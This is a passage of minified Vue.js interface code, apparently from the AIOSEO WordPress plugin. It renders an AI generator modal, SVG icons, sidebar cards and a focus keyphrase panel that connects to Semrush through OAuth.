n(),g(C,{classes:["aioseo-ai-generator-modal"],onClose:e[0]||(e[0]=$=>s.settingsStore.setModalState({modalName:"aiGenerator",value:!1}))},{headerTitle:d(()=>[k(m(r.headerTitle),1)]),body:d(()=>[u("div",Ii,[c(_,null,{default:d(()=>[u("div",Bi,[u("div",Ri,[(n(!0),f(K,null,X(o.suggestions.title,($,b)=>(n(),f("div",{class:"suggestion",key:b},[c(a,{ref_for:!0,ref:"editor",value:$,single:"",disabled:""},{"append-button":d(()=>[u("button",Di,[c(h)])]),_:2},1032,["value"])]))),128))])])]),_:1})]),u("div",Vi,[u("img",{src:s.getAssetUrl(o.OpenAiImage),alt:"open-ai-upsell"},null,8,Oi),u("div",Ni,[u("div",null,[u("p",Ui,m(r.ctaHeaderTitle),1),u("p",null,m(r.ctaDescription),1)]),u("div",null,[c(y,{type:"green",size:"medium",tag:"a",href:t.$links.getPricingUrl("post-settings","general","open-ai")},{default:d(()=>[k(m(o.strings.upgradeToPro),1)]),_:1},8,["href"]),u("span",{innerHTML:o.strings.learnMoreLink},null,8,Ki)])])])]),_:1})}const Fi=S(Hi,[["render",Gi]]),zi={},qi={class:"aioseo-ai-robot",viewBox:"0 0 16 14",xmlns:"http://www.w3.org/2000/svg"},Wi=u("path",{d:"M2.23351 8.73334C1.73351 8.73334 1.31129 8.55996 0.966845 8.2132C0.622412 7.86644 0.450195 7.44537 0.450195 6.95C0.450195 6.45464 0.623579 6.03357 0.970345 5.6868C1.31709 5.34005 1.73815 5.16667 2.23351 5.16667V2.89999C2.23351 2.63332 2.33351 2.39999 2.53351 2.19999C2.73351 1.99999 2.96685 1.89999 3.23351 1.89999H6.21686C6.21686 1.39999 6.39024 0.977765 6.737 0.63332C7.08376 0.288876 7.50483 0.116653 8.0002 0.116653C8.49556 0.116653 8.91663 0.290037 9.2634 0.636803C9.61015 0.983559 9.78353 1.40462 9.78353 1.89999H12.7669C13.0335 1.89999 13.2669 1.99999 13.4669 2.19999C13.6669 2.39999 13.7669 2.63332 13.7669 2.89999V5.16667C14.2669 5.16667 14.6891 5.34005 15.0335 5.6868C15.378 6.03357 15.5502 6.45464 15.5502 6.95C15.5502 7.44537 15.3768 7.86644 15.0301 8.2132C14.6833 8.55996 14.2622 8.73334 13.7669 8.73334V12.2167C13.7669 12.4834 13.6669 12.7167 13.4669 12.9167C13.2669 13.1167 13.0335 13.2167 12.7669 13.2167H3.23351C2.96685 13.2167 2.73351 13.1167 2.53351 12.9167C2.33351 12.7167 2.23351 12.4834 2.23351 12.2167V8.73334ZM5.77731 7.01015C5.97615 7.01015 6.14416 6.94024 6.28136 6.80042C6.41856 6.66061 6.48716 6.48971 6.48716 6.28774C6.48716 6.08577 6.41726 5.91619 6.27745 5.77899C6.13762 5.64179 5.9683 5.57319 5.76946 5.57319C5.57063 5.57319 5.40104 5.64283 5.2607 5.78212C5.12036 5.92141 5.0502 6.09414 5.0502 6.3003C5.0502 6.49914 5.12167 6.66715 5.26463 6.80435C5.40758 6.94155 5.57848 7.01015 5.77731 7.01015ZM10.2309 7.01015C10.4298 7.01015 10.5994 6.94024 10.7397 6.80042C10.88 6.66061 10.9502 6.48971 10.9502 6.28774C10.9502 6.08577 10.8787 5.91619 10.7358 5.77899C10.5928 5.64179 10.4219 5.57319 10.2231 5.57319C10.0242 5.57319 9.85623 5.64283 9.71903 5.78212C9.58183 5.92141 9.51323 6.09414 9.51323 6.3003C9.51323 6.49914 9.58313 6.66715 9.72295 6.80435C9.86277 6.94155 10.0321 7.01015 10.2309 7.01015ZM5.30383 10.25H10.6966V9.14637H5.30383V10.25ZM3.55383 11.8964H12.4466V3.2203H3.55383V11.8964Z",fill:"currentColor"},null,-1),ji=[Wi];function Zi(t,e){return n(),f("svg",qi,ji)}const Yi=S(zi,[["render",Zi]]);const Ji={setup(){return{settingsStore:Z()}},components:{AiModal:Fi,CoreTooltip:F,SvgAiRobot:Yi},props:{type:{type:String,required:!0}},data(){return{strings:{useAiGenerator:this.$t.__("Use AI Generator",this.$td)}}}},Xi={class:"aioseo-ai-generator"};function Qi(t,e,i,s,o,r){const h=l("svg-ai-robot"),a=l("core-tooltip"),_=l("ai-modal");return n(),f("div",Xi,[c(a,{type:"action",offset:"-30px,0"},{tooltip:d(()=>[k(m(o.strings.useAiGenerator),1)]),default:d(()=>[u("button",{type:"button",onClick:e[1]||(e[1]=y=>s.settingsStore.setModalState({modalName:"aiGenerator",value:i.type}))},[c(h,{onClick:e[0]||(e[0]=y=>s.settingsStore.setModalState({modalName:"aiGenerator",value:i.type}))})])]),_:1}),s.settingsStore.modals.aiGenerator===i.type?(n(),g(_,{key:0,type:i.type},null,8,["type"])):p("",!0)])}const tr=S(Ji,[["render",Qi]]);const er={setup(){const{strings:t}=pe();return{settingsStore:Z(),strings:t}},components:{CoreTooltip:F,SvgCaret:mt,SvgCircleCheck:Rt,SvgCircleQuestionMark:Dt,SvgEllipse:_e,TransitionSlide:Hs},mixins:[ge],props:{slug:{type:String,required:!0},headerText:String,focusScore:Number,trueSeoScore:Number,toggles:{type:Boolean,default(){return!0}},hideHeader:Boolean,noSlide:Boolean,saveToggleStatus:{type:Boolean,default(){return!0}}},watch:{"settingsStore.metaBoxTabs.mainSidebar":{deep:!0,handler(t){this.$root._data.screenContext==="sidebar"&&this.openCard(t.card)}}},methods:{openCard(t){for(const e in this.settingsStore.settings.toggledCards)this.settingsStore.settings.toggledCards[e]&&this.settingsStore.toggleCard({slug:e});this.settingsStore.toggleCard({slug:t})}},created(){this.openCard(this.settingsStore.metaBoxTabs.mainSidebar.card)}},sr={class:"aioseo-card aioseo-sidebar-card"},or={class:"text"},ir={key:0,class:"content"},rr={key:1,class:"content"};function nr(t,e,i,s,o,r){const h=l("svg-ellipse"),a=l("svg-circle-check"),_=l("svg-circle-question-mark"),y=l("core-tooltip"),C=l("svg-caret"),$=l("transition-slide");return n(),f("div",sr,[i.hideHeader?p("",!0):(n(),f("div",{key:0,class:"header",onClick:e[0]||(e[0]=b=>s.settingsStore.toggleCard({slug:i.slug,shouldSave:i.saveToggleStatus}))},[u("div",or,[q(t.$slots,"header",{},()=>[k(m(i.headerText),1)]),i.focusScore>=0?q(t.$slots,"alt",{key:0},()=>[i.focusScore!==null?(n(),f("span",{key:0,class:P(["card-score",t.getScoreClass(i.focusScore)])},m(i.focusScore)+"/100 ",3)):p("",!0)]):p("",!0),i.trueSeoScore>=0?q(t.$slots,"alt",{key:1},()=>[u("span",{class:P(["card-score",t.getErrorClass(i.trueSeoScore)])},[0<i.trueSeoScore?(n(),g(h,{key:0,width:"6"})):p("",!0),i.trueSeoScore===0?(n(),g(a,{key:1,width:"12"})):p("",!0),k(" "+m(t.getErrorDisplay(i.trueSeoScore)),1)],2)]):p("",!0),t.$slots.tooltip?(n(),g(y,{key:2},{tooltip:d(()=>[q(t.$slots,"tooltip")]),default:d(()=>[c(_)]),_:3})):p("",!0)]),i.toggles&&s.settingsStore.settings.toggledCards?(n(),g(C,{key:0,class:P({rotated:!s.settingsStore.settings.toggledCards[i.slug]})},null,8,["class"])):p("",!0)])),s.settingsStore.settings.toggledCards||i.noSlide?(n(),g($,{key:1,active:s.settingsStore.settings.toggledCards[i.slug]&&i.toggles||i.noSlide},{default:d(()=>[t.$slots["before-tabs"]?(n(),f("div",ir,[q(t.$slots,"before-tabs")])):p("",!0),q(t.$slots,"tabs"),t.$slots.default?(n(),f("div",rr,[q(t.$slots,"default")])):p("",!0)]),_:3},8,["active"])):p("",!0)])}const ar=S(er,[["render",nr]]),lr={props:{width:Number,height:Number,fillColor:String,strokeColor:String,strokeWidth:Number,data:Array},computed:{getViewBox(){return"0 0 "+this.width+" "+this.height},polylinePoints(){const t=Math.max(...this.data.map(o=>o.x)),e=Math.max(...this.data.map(o=>o.y)),i=this.height-this.strokeWidth,s=this.data.map(o=>{const r=o.x===0?0:o.x/t,h=o.y===0?0:o.y/e,a=r*this.width,_=i-h*i+this.strokeWidth;return`${a},${_}`}).join(" ");return`0,${i+this.strokeWidth} `+s+` ${this.width},${i+this.strokeWidth}`}}},dr=["width","height","viewBox"],cr=["fill","points"],ur=["stroke","strokeWidth","points"];function hr(t,e,i,s,o,r){return n(),f("svg",{width:i.width,height:i.height,viewBox:r.getViewBox,role:"img","aria-hidden":"true",focusable:"false"},[u("polygon",{fill:i.fillColor,points:r.polylinePoints},null,8,cr),u("polyline",{fill:"none",stroke:i.strokeColor,strokeWidth:i.strokeWidth,strokeLinejoin:"round",strokeLinecap:"round",points:r.polylinePoints},null,8,ur)],8,dr)}const pr=S(lr,[["render",hr]]),gr={},_r={viewBox:"0 0 158 21",class:"aioseo-logo-semrush"},mr=u("path",{d:"M108.808 8.212c0-2.579-1.586-4.456-4.628-4.456h-9.826v13.37h3.227v-4.563h3.822l3.742 4.562h3.637v-.29l-3.637-4.351c2.288-.463 3.663-2.13 3.663-4.272zm-4.985 1.653h-6.229V6.533h6.229c1.15 0 1.891.608 1.891 1.666 0 1.084-.714 1.666-1.891 1.666zM157.593 3.756h-3.029v5.078h-8.133V3.756h-3.266v13.383h3.266v-5.277h8.133v5.277h3.029V3.756zM85.72 3.756l-3.598 11.253h-.198l-3.61-11.253H72.56v13.383h3.081V6.149h.185l3.597 10.99h4.96l3.61-10.99h.185v10.99h3.174V3.756h-5.634zM50.57 9.23c-1.138-.118-3.267-.317-4.404-.436-1.124-.119-1.772-.45-1.772-1.19 0-.714.687-1.31 3.464-1.31 2.46 0 4.721.53 6.692 1.482V4.787c-1.97-.939-4.153-1.402-6.864-1.402-3.808 0-6.44 1.587-6.44 4.285 0 2.275 1.547 3.518 4.642 3.861 1.124.12 3.028.291 4.364.397 1.454.12 1.878.569 1.878 1.23 0 .913-1.019 1.468-3.597 1.468-2.619 0-5.277-.86-7.168-2.063v3.081c1.521 1.019 4.14 1.878 7.062 1.878 4.152 0 6.824-1.6 6.824-4.47.026-2.168-1.402-3.478-4.682-3.821zM57.393 3.756v13.383h12.47V14.4h-9.389v-2.71h9.23V8.978h-9.23V6.493h9.39V3.756H57.392zM136.487 9.23c-1.138-.118-3.267-.317-4.404-.436-1.124-.119-1.772-.45-1.772-1.19 0-.714.688-1.31 3.465-1.31 2.459 0 4.721.53 6.691 1.482V4.787c-1.97-.939-4.152-1.402-6.863-1.402-3.809 0-6.44 1.587-6.44 4.285 0 2.275 1.547 3.518 4.641 3.861 1.124.12 3.029.291 4.364.397 1.455.12 1.878.569 1.878 1.23 0 .913-1.018 1.468-3.597 1.468-2.618 0-5.276-.86-7.167-2.063v3.081c1.52 1.019 4.139 1.878 7.061 1.878 4.153 0 6.824-1.6 6.824-4.47.027-2.168-1.402-3.478-4.681-3.821zM121.742 3.756v6.85c0 2.592-1.574 4.02-3.941 4.02-2.38 0-3.941-1.402-3.941-4.06v-6.81h-3.213v6.506c0 4.853 3.028 7.26 7.207 7.26 4.007 0 7.115-2.301 7.115-7.101V3.756h-3.227z",fill:"#020202"},null,-1),fr=u("path",{d:"M30.19 10.368c0 .648-.33.753-1.15.753-.872 0-1.031-.145-1.124-.806-.172-1.68-1.309-3.108-3.213-3.267-.608-.052-.754-.277-.754-1.031 0-.7.106-1.031.648-1.031 3.306.013 5.594 2.67 5.594 5.382zm4.814 0C35.004 5.329 31.593 0 23.711 0H8.054c-.318 0-.516.159-.516.45 0 .158.119.304.225.383.568.45 1.415.952 2.525 1.508 1.085.542 1.931.899 2.777 1.243.357.145.49.304.49.502 0 .278-.199.45-.582.45H.543c-.371 0-.543.238-.543.476 0 .198.066.37.238.542 1.005 1.058 2.618 2.328 4.96 3.796a71.557 71.557 0 006.611 3.636c.344.159.45.344.45.542-.013.225-.185.41-.582.41h-5.7c-.317 0-.502.172-.502.437 0 .145.119.33.278.476 1.295 1.177 3.372 2.46 6.136 3.636C15.579 20.061 19.32 21 23.526 21c7.974 0 11.478-5.964 11.478-10.632zm-10.407 7.445c-4.073 0-7.485-3.32-7.485-7.458 0-4.074 3.399-7.353 7.485-7.353 4.179 0 7.458 3.266 7.458 7.353-.013 4.139-3.28 7.458-7.458 7.458z",fill:"#FF642D"},null,-1),yr=[mr,fr];function Sr(t,e){return n(),f("svg",_r,yr)}const br=S(gr,[["render",Sr]]);const vr={setup(){return{connectStore:Ne(),licenseStore:B(),optionsStore:dt(),postEditorStore:E(),rootStore:Y(),semrushStore:Ue()}},components:{CoreAlert:G,CoreKeyphrase:Le,CoreLoader:de,CoreModalPortal:Q,CoreTooltip:F,SvgAreaChart:pr,SvgCircleCheck:Rt,SvgCirclePlus:St,SvgLogoSemrush:br,SvgTrash:yt,metaboxAnalysisDetail:vt},data(){return{showSemrushTooltip:!1,loadingResults:!1,semrushShowModal:!1,addingAdditionalKeyphrase:!1,removingAdditionalKeyphrase:!1,semrushCountry:{value:"US",label:"United States of America - US"},strings:{modalTitle:this.$t.sprintf(this.$t.__("Additional Keyphrases by %1$s",this.$td),"Semrush"),addKeyphrase:this.$t.__("Add Focus Keyphrase",this.$td),getAdditionalKeyphrases:this.$t.__("Get Additional Keyphrases",this.$td),showResultsFor:this.$t.__("Show Results For:",this.$td),keyphrase:this.$t.__("Keyphrase",this.$td),volume:this.$t.__("Volume",this.$td),trend:this.$t.__("Trend",this.$td),addAdditionalKeyphrase:this.$t.__("Add Keyphrase",this.$td),removeAdditionalKeyphrase:this.$t.__("Remove Keyphrase",this.$td),noResults:this.$t.__("No results",this.$td),upsell:this.$t.sprintf(this.$t.__("Analyzing your content with %1$s keywords is only available to licensed %2$s users. %3$s",this.$td),"Semrush","<strong>AIOSEO Pro</strong>",this.$links.getUpsellLink("semrush-keywords",this.$constants.GLOBAL_STRINGS.learnMore,null,!0)),semrushGetAdditionalKeyphrases:this.$t.sprintf(this.$t.__("%1$s integrates directly with %2$s to provide you with actionable keyphrases to help you write better content.",this.$td),"AIOSEO","Semrush"),pleaseAddFocusKeyphrase:this.$t.__("To use this feature, first add a focus keyphrase.",this.$td),focusKeyphrase:this.$t.__("Focus Keyphrase",this.$td),delete:this.$t.__("Delete",this.$td),semrushTooltip:this.$t.sprintf(this.$t.__("Get Additional Keyphrases with %1$s!",this.$td),"Semrush"),semrushTooltipLicenseKey:this.$t.sprintf(this.$t.__("%1$sA valid license key is required%2$s in order to connect with %3$s.",this.$td),'<a href="'+this.rootStore.aioseo.urls.aio.settings+'">',"</a>","Semrush"),youHaveExceededSemrush:this.$t.sprintf(this.$t.__("You have exceeded the number of requests allowed by your %1$s plan.",this.$td),"Semrush"),inOrderToUpgradeSemrush:this.$t.sprintf(this.$t.__("In order to continue searching for additional keyphrases, you'll need to upgrade. %1$s",this.$td),this.$links.getUpsellLink("semrush-pricing",this.$constants.GLOBAL_STRINGS.learnMore,"semrushPricing",!0))}}},watch:{semrushCountry:{deep:!0,handler(){this.getKeyphrases()}}},computed:{semrushError(){return this.semrushStore.error.includes("TOTAL LIMIT EXCEEDED")?this.$t.__("You have exceeded the limit for requests. Please try again later.",this.$td):this.$t.__("An error occurred while fetching keyphrases. Please try again later.",this.$td)},semrushDatabase(){return this.$constants.COUNTRY_LIST.map(t=>(t.value==="GB"&&(t.value="UK",t.label="United Kingdom"),t.value==="KR"&&(t.label="South Korea"),t)).filter(t=>this.$constants.SEMRUSH_DATABASE.includes(t.value.toLowerCase())).map(t=>(t.label=t.label+" - "+t.value.toUpperCase(),t))}},methods:{getAdditionalKeyphrases(){if(this.showSemrushTooltip=!1,!this.connectStore.isConnected){this.openConnectPopup(this.rootStore.aioseo.urls.connect+"&semrush=true");return}if(!this.semrushStore.hasValidTokens){this.openPopup("https://oauth.semrush.com/auth/login?client_id=aioseo&redirect_uri=https%3A%2F%2Foauth.semrush.com%2Foauth2%2Faioseo%2Fsuccess&ref=2190331110&response_type=code&scope=user.id");return}this.openModal()},transformTrendDataToChartPoints(t){return t.split(",").map((i,s)=>({x:s,y:parseFloat(i)}))},openConnectPopup(t){qt(t,this.connectWithAioseo,600,630,!0,["token"],this.completedConnectCallback,this.closedConnectCallback)},openPopup(t){qt(t,"Semrush Oauth",450,570,!0,["code"],this.completedCallback,this.closedCallback,this.postMessageCallback)},async completedCallback(t){return this.semrushStore.authenticate(t.code)},completedConnectCallback(t){return this.connectStore.saveConnectToken(t.token)},openModal(){this.semrushShowModal=!0,!this.semrushStore.error&&this.getKeyphrases()},getKeyphrases(){this.loadingResults=!0,this.semrushStore.getKeyphrases(this.semrushCountry.value).then(()=>{this.loadingResults=!1}).catch(t=>{this.semrushShowModal=!1,this.loadingResults=!1,console.error(t.message)})},closedCallback(t){t&&this.openModal()},closedConnectCallback(t){if(t){if(this.semrushStore.hasValidTokens){this.$nextTick(this.getAdditionalKeyphrases);return}this.showSemrushTooltip=!0}},async postMessageCallback(t,e,i){const{data:s,source:o,origin:r}=t;if(!(r!=="https://oauth.semrush.com"||e!==o)){if(s.type==="semrush:oauth:success"){window.removeEventListener("message",i,!1);let h={};try{const a=new URL(s.url);h=st(a.search)}catch{}this.completedCallback(h).then(()=>{e.close(),e=null,this.closedCallback(!0)})}s.type==="semrush:oauth:denied"&&(e.close(),window.removeEventListener("message",i,!1),e=null,this.closedCallback())}},onSaved(t){const{value:e}=t;this.postEditorStore.currentPost.keyphrases.focus.keyphrase=e,this.postEditorStore.currentPost.loading.focus=!0,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})},onDeleted(){this.postEditorStore.currentPost.keyphrases.focus.keyphrase=null,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})},addKeyphraseEv(){const e=document.getElementsByClassName(`add-focus-keyphrase-${this.$root._data.screenContext}-input`)[0].querySelector(".medium");if(e.value){const i={keyphrase:e.value,score:0,analysis:{}};this.postEditorStore.currentPost.keyphrases.focus=i,this.postEditorStore.currentPost.loading.focus=!0,e.value="",e.blur(),this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})}},hasAdditionalKeyphrase(t){const{additional:e}=this.postEditorStore.currentPost.keyphrases;return e.filter(i=>i.keyphrase.toLowerCase()===t).length},getAdditionalKeyphrase(t){const{additional:e}=this.postEditorStore.currentPost.keyphrases;return e.find(i=>i.keyphrase.toLowerCase()===t)},scoreClass(t){return 80<t?"score-green":50<t?"score-orange":1<t?"score-red":"score-none"},async addAdditionalKeyphrase(t,e){this.addingAdditionalKeyphrase=e;const{additional:i}=this.postEditorStore.currentPost.keyphrases,s=i.push({keyphrase:t,score:0}),o=document.getElementsByClassName("keyphrase-name");this.postEditorStore.currentPost.keyphrases.additional=i,this.postEditorStore.isDirty=!0,await this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost}),await this.$nextTick(),o[s]&&o[s].click(),this.addingAdditionalKeyphrase=!1},goToAdditionalKeyphrase(t){const{additional:e}=this.postEditorStore.currentPost.keyphrases,i=e.findIndex(s=>s.keyphrase.toLowerCase()===t);if(i!==-1){const s=document.getElementsByClassName("keyphrase-name");s[i+1]&&s[i+1].click(),this.semrushShowModal=!1}},removeAdditionalKeyphrase(t,e){this.removingAdditionalKeyphrase=e;const{additional:i}=this.postEditorStore.currentPost.keyphrases,s=i.findIndex(o=>o.keyphrase.toLowerCase()===t);if(s!==-1){i.splice(s,1),this.postEditorStore.currentPost.keyphrases.additional=i;const o=document.getElementsByClassName("keyphrase-name");o[0]&&o[0].click()}this.$nextTick(()=>{this.removingAdditionalKeyphrase=!1})},toggleDescriptionEv(t){t.target.parentElement.classList.toggle("toggled")},pressEnter(t){const e=document.getElementById("add-focus-keyphrase");t.preventDefault(),e.click()}},mounted(){const t=[];this.optionsStore.internalOptions.integrations.semrush.accessToken&&this.semrushStore.expired&&t.push(this.semrushStore.refresh())}},kr={class:"aioseo-focus-keyphrase-panel"},wr={class:"disabled-button gray medium"},Cr={class:"disabled-button gray"},$r=["innerHTML"],Er={class:"aioseo-modal-content has-padding"},Pr={class:"aioseo-settings-row"},xr={class:"settings-name"},Tr={class:"name"},Ar={class:"results"},Mr={"aria-label":"Additional Keyphrases",class:"additional-keyphrases-table",cellpadding:"0",cellspacing:"0"},Lr={class:"keyphrases-header"},Hr={class:"keyphrase"},Ir={class:"keyphrase-volume"},Br={class:"keyphrase-trend"},Rr={key:0,class:"keyphrase-actions"},Dr={class:"keyphrases-rows"},Vr={class:"keyphrase"},Or={class:"keyphrase-volume"},Nr={class:"keyphrase-trend"},Ur={key:0,class:"keyphrase-actions"},Kr={key:0,class:"focus-keyphrase"},Gr={key:1},Fr={key:1,class:"remove-keyphrase"},zr=["onClick"],qr={key:1,class:"keyphrase-row"},Wr=["colspan"],jr={key:1},Zr={class:"semrush-logo"},Yr={class:"semrush-upsell"},Jr=["innerHTML"],Xr=["innerHTML"];function Qr(t,e,i,s,o,r){const h=l("base-input"),a=l("svg-circle-plus"),_=l("base-button"),y=l("core-tooltip"),C=l("core-keyphrase"),$=l("core-loader"),b=l("metaboxAnalysisDetail"),v=l("core-alert"),w=l("base-select"),R=l("svg-area-chart"),D=l("svg-circle-check"),tt=l("svg-trash"),ct=l("svg-logo-semrush"),ut=l("core-modal-portal");return n(),f("div",kr,[!s.postEditorStore.currentPost.keyphrases.focus||!s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),g(h,{key:0,size:"medium",class:P(`add-focus-keyphrase-${this.$root._data.screenContext}-input`),onKeydown:Vt(r.pressEnter,["enter"])},null,8,["class","onKeydown"])):p("",!0),u("div",{class:P(`add-focus-keyphrase-${this.$root._data.screenContext}-button`)},[!s.postEditorStore.currentPost.keyphrases.focus||!s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),g(_,{key:0,id:"add-focus-keyphrase",class:"add-keyphrase gray medium",onClick:r.addKeyphraseEv},{default:d(()=>[c(a,{width:"14",height:"14"}),k(" "+m(o.strings.addKeyphrase),1)]),_:1},8,["onClick"])):p("",!0),!s.postEditorStore.currentPost.keyphrases.focus||!s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),g(y,{key:1},{tooltip:d(()=>[u("span",null,m(o.strings.semrushGetAdditionalKeyphrases)+" "+m(o.strings.pleaseAddFocusKeyphrase),1)]),default:d(()=>[u("div",wr,[c(a,{width:"14",height:"14"}),k(" "+m(o.strings.getAdditionalKeyphrases),1)])]),_:1})):p("",!0)],2),s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),g(C,{key:1,index:0,keyphrase:s.postEditorStore.currentPost.keyphrases.focus.keyphrase,score:s.postEditorStore.currentPost.keyphrases.focus.score,onSaved:r.onSaved,onDeleted:r.onDeleted,class:"aioseo-keyphrase-tag"},null,8,["keyphrase","score","onSaved","onDeleted"])):p("",!0),s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus?(n(),g($,{key:2,class:"analysis-loading",dark:""})):p("",!0),!s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),g(b,{key:3,analysisItems:s.postEditorStore.currentPost.keyphrases.focus.analysis},null,8,["analysisItems"])):p("",!0),!s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase&&t.$isPro&&s.licenseStore.isUnlicensed?(n(),g(y,{key:4},{tooltip:d(()=>[u("span",{innerHTML:o.strings.semrushTooltipLicenseKey},null,8,$r)]),default:d(()=>[u("div",Cr,[c(a,{width:"14",height:"14"}),k(" "+m(o.strings.getAdditionalKeyphrases),1)])]),_:1})):p("",!0),!s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase&&(!t.$isPro||!s.licenseStore.isUnlicensed)?(n(),g(y,{key:5,disabled:!o.showSemrushTooltip||t.$isPro,"force-show":o.showSemrushTooltip&&!t.$isPro},{tooltip:d(()=>[u("span",null,m(o.strings.semrushTooltip),1)]),default:d(()=>[c(_,{class:"add-keyphrase gray medium",onClick:r.getAdditionalKeyphrases},{default:d(()=>[c(a,{width:"14",height:"14"}),k(" "+m(o.strings.getAdditionalKeyphrases),1)]),_:1},8,["onClick"])]),_:1},8,["disabled","force-show"])):p("",!0),o.semrushShowModal?(n(),g(ut,{key:6,onClose:e[1]||(e[1]=x=>o.semrushShowModal=!1),classes:["aioseo-focus-keyphrase-panel-modal"]},{headerTitle:d(()=>[k(m(o.strings.modalTitle),1)]),body:d(()=>[u("div",Er,[s.licenseStore.isUnlicensed?(n(),g(v,{key:0,type:"blue",innerHTML:o.strings.upsell},null,8,["innerHTML"])):p("",!0),u("div",Pr,[u("div",xr,[u("div",Tr,m(o.strings.showResultsFor),1)]),c(w,{class:"semrush-country-selector",size:"medium",options:r.semrushDatabase,placeholder:o.strings.selectPriceIndicator,modelValue:o.semrushCountry,"onUpdate:modelValue":e[0]||(e[0]=x=>o.semrushCountry=x)},null,8,["options","placeholder","modelValue"])]),u("div",Ar,[u("table",Mr,[u("thead",null,[u("tr",Lr,[u("th",Hr,m(o.strings.keyphrase),1),u("th",Ir,m(o.strings.volume),1),u("th",Br,m(o.strings.trend),1),s.licenseStore.isUnlicensed?p("",!0):(n(),f("th",Rr))])]),u("tbody",Dr,[s.semrushStore.results.length&&!o.loadingResults?(n(!0),f(K,{key:0},X(s.semrushStore.results,(x,L)=>(n(),f("tr",{class:P(["keyphrase-row",{even:L%2===0}]),key:L},[u("td",Vr,m(x[0]),1),u("td",Or,m(x[1]),1),u("td",Nr,[c(R,{width:66,height:24,data:r.transformTrendDataToChartPoints(x[2]),strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc"},null,8,["data"])]),s.licenseStore.isUnlicensed?p("",!0):(n(),f("td",Ur,[x[0]===s.postEditorStore.currentPost.keyphrases.focus.keyphrase.toLowerCase()?(n(),f("div",Kr,[c(D),k(" "+m(o.strings.focusKeyphrase),1)])):p("",!0),x[0]!==s.postEditorStore.currentPost.keyphrases.focus.keyphrase.toLowerCase()?(n(),f("div",Gr,[L!==o.removingAdditionalKeyphrase&&(L===o.addingAdditionalKeyphrase||!r.hasAdditionalKeyphrase(x[0]))?(n(),g(_,{key:0,type:"gray",size:"medium",onClick:ht=>r.addAdditionalKeyphrase(x[0],L),loading:L===o.addingAdditionalKeyphrase},{default:d(()=>[k(m(o.strings.addAdditionalKeyphrase),1)]),_:2},1032,["onClick","loading"])):p("",!0),r.getAdditionalKeyphrase(x[0])&&L!==o.addingAdditionalKeyphrase&&(L===o.removingAdditionalKeyphrase||r.hasAdditionalKeyphrase(x[0]))?(n(),f("div",Fr,[u("span",{class:P(["keyphrase-score",r.scoreClass(r.getAdditionalKeyphrase(x[0]).score)]),onClick:ht=>r.goToAdditionalKeyphrase(x[0])},m(r.getAdditionalKeyphrase(x[0]).score)+"/100",11,zr),c(y,{type:"action"},{tooltip:d(()=>[k(m(o.strings.delete),1)]),default:d(()=>[c(tt,{onClick:ht=>r.removeAdditionalKeyphrase(x[0],L)},null,8,["onClick"])]),_:2},1024)])):p("",!0)])):p("",!0)]))],2))),128)):p("",!0),!s.semrushStore.results.length||o.loadingResults?(n(),f("tr",qr,[u("td",{colspan:s.licenseStore.isUnlicensed?3:4,class:"no-results"},[u("div",null,[o.loadingResults?(n(),g($,{key:0,dark:""})):p("",!0),!o.loadingResults&&!s.semrushStore.error?(n(),f("span",jr,m(o.strings.noResults),1)):p("",!0),s.semrushStore.error&&!s.semrushStore.error.includes("TOTAL LIMIT EXCEEDED")?(n(),g(v,{key:2,type:"red"},{default:d(()=>[k(m(r.semrushError),1)]),_:1})):p("",!0),s.semrushStore.error&&s.semrushStore.error.includes("TOTAL LIMIT EXCEEDED")?(n(),f(K,{key:3},[u("div",Zr,[c(ct)]),u("div",Yr,[u("span",null,[u("strong",{innerHTML:o.strings.youHaveExceededSemrush},null,8,Jr)]),k(" "+m(" ")+" "),u("span",{innerHTML:o.strings.inOrderToUpgradeSemrush},null,8,Xr)])],64)):p("",!0)])],8,Wr)])):p("",!0)])])])])]),_:1})):p("",!0)])}const tn=S(vr,[["render",Qr]]);const en={setup(){return{postEditorStore:E(),rootStore:Y()}},components:{CoreAlert:G,CoreMainTabs:ot,metaboxAnalysisDetail:vt},data(){return{initTab:"basic",tabs:[{slug:"basic",name:this.$t.__("Basic SEO",this.$td)},{slug:"title",name:this.$t.__("Title",this.$td)},{slug:"readability",name:this.$t.__("Readability",this.$td)}]}},computed:{parseTabs(){return this.tabs.map(t=>(t.errorCount=this.postEditorStore.currentPost.page_analysis.analysis[t.slug].errors,t))},pageBuilderAlert(){if(!_t()||this.rootStore.aioseo.integration==="")return!1;const t=this.rootStore.aioseo.integration.charAt(0).toUpperCase()+this.rootStore.aioseo.integration.slice(1);return this.$t.sprintf(this.$t.__("We have detected that you are currently using the %1$s Page Builder. Please click %2$shere%3$s to use the %1$s editor for a most accurate result.",this.$td),t,'<a href="'+this.postEditorStore.currentPost.editlink+'">',"</a>")}},methods:{processChangeTab(t){this.initTab=t}}},sn={class:"page-analysis-panel"},on=["innerHTML"];function rn(t,e,i,s,o,r){const h=l("core-alert"),a=l("core-main-tabs"),_=l("metaboxAnalysisDetail");return 